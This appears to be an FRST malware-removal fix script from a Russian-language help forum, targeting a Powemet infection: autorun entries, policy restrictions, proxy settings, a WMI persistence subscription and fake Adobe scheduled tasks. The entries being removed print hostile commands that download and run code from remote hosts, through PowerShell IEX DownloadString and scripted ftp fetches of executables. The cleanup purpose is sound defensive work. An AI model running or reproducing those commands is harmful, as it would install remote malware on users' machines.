Trojan:Win32/Powemet.A!attk

Start::
SystemRestore: On
CreateRestorePoint:
RemoveProxy:
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender: Ограничение <==== ВНИМАНИЕ
HKU\S-1-5-21-177854217-72813761-2326009682-1001\...\MountPoints2: {3ed21387-f810-11ea-aeb7-00d86184eef6} - "E:\SISetup.exe" 
HKU\S-1-5-21-177854217-72813761-2326009682-1001\...\MountPoints2: {4b04e2b5-4f37-11eb-aee8-00d86184eef6} - "V:\autorun.exe" 
HKU\S-1-5-21-177854217-72813761-2326009682-1001\...\MountPoints2: {50b5f2c0-4f46-11eb-aeea-00d86184eef6} - "V:\auto.exe" 
HKU\S-1-5-21-177854217-72813761-2326009682-1001\...\MountPoints2: {670d7df0-4f41-11eb-aee9-00d86184eef6} - "V:\autorun.exe" 
GroupPolicy: Ограничение ? <==== ВНИМАНИЕ
Policies: C:\ProgramData\NTUSER.pol: Ограничение <==== ВНИМАНИЕ
AutoConfigURL: [{BB21315F-FB77-4F81-9B68-2FCBA0FB166E}] => hxxps://proxy.bmstu.ru/
AutoConfigURL: [S-1-5-21-177854217-72813761-2326009682-1001] => hxxps://proxy.bmstu.ru/
C:\Users\sania\AppData\Local\Google\Chrome\User Data\Default\Extensions\aegnopegbbhjeeiganiajffnalhlkkjb
WMI:subscription\__FilterToConsumerBinding->CommandLineEventConsumer.Name=\"tosa4\"",Filter="__EventFilter.Name=\"tosa3\"::
WMI:subscription\__EventFilter->tosa3::[Query => SELECT * FROM __InstanceModificationEvent WITHIN 10500 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System']
WMI:subscription\CommandLineEventConsumer->tosa4::[CommandLineTemplate => cmd /c powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://wmi.webpublicservices.org:8080/power.txt')||powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://185.26.113.95:8221/power.txt')||powershell.exe IEX (New-Object system.Net.WebClient).DownloadStri (запись имеет ещё 410 символов).]
FirewallRules: [{838C9B52-C1EC-4036-A3B3-C5EFC3C5D17C}] => (Allow) C:\Users\sania\MediaGet2\mediaget.exe => Нет файла
FirewallRules: [{51F25400-02A1-4BDD-A4CC-1E32A1B0D317}] => (Allow) C:\Users\sania\MediaGet2\mediaget.exe => Нет файла
ExportKey: HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions
cmd: del /s /q "%userprofile%\AppData\Local\Google\Chrome\User Data\Default\Cache\*.*"
EmptyTemp:
Reboot:
End::

Start::
SystemRestore: On
CreateRestorePoint:
Task: {9F532062-2817-47BE-8225-12455FE3CCE8} - System32\Tasks\AdobeUpdateFlac2 => cmd /c echo open ftp2.webpublicservices.org>>ps&echo test>>ps&echo 1433>>ps&echo get c.rar c:\windows\help\AdobeFlac.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\AdobeFlac.exe
Task: {CC548F82-6396-4042-BEDF-91FA41075FE1} - System32\Tasks\AdobeUpdateFlac => cmd /c echo open ftp2.ha7455h6fi1.net>>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get b.rar c:\windows\Adobeupdate.exe>>s&echo bye>>s&ftp -s:s&c:\windows\Adobeupdate.exe
Reboot:
End::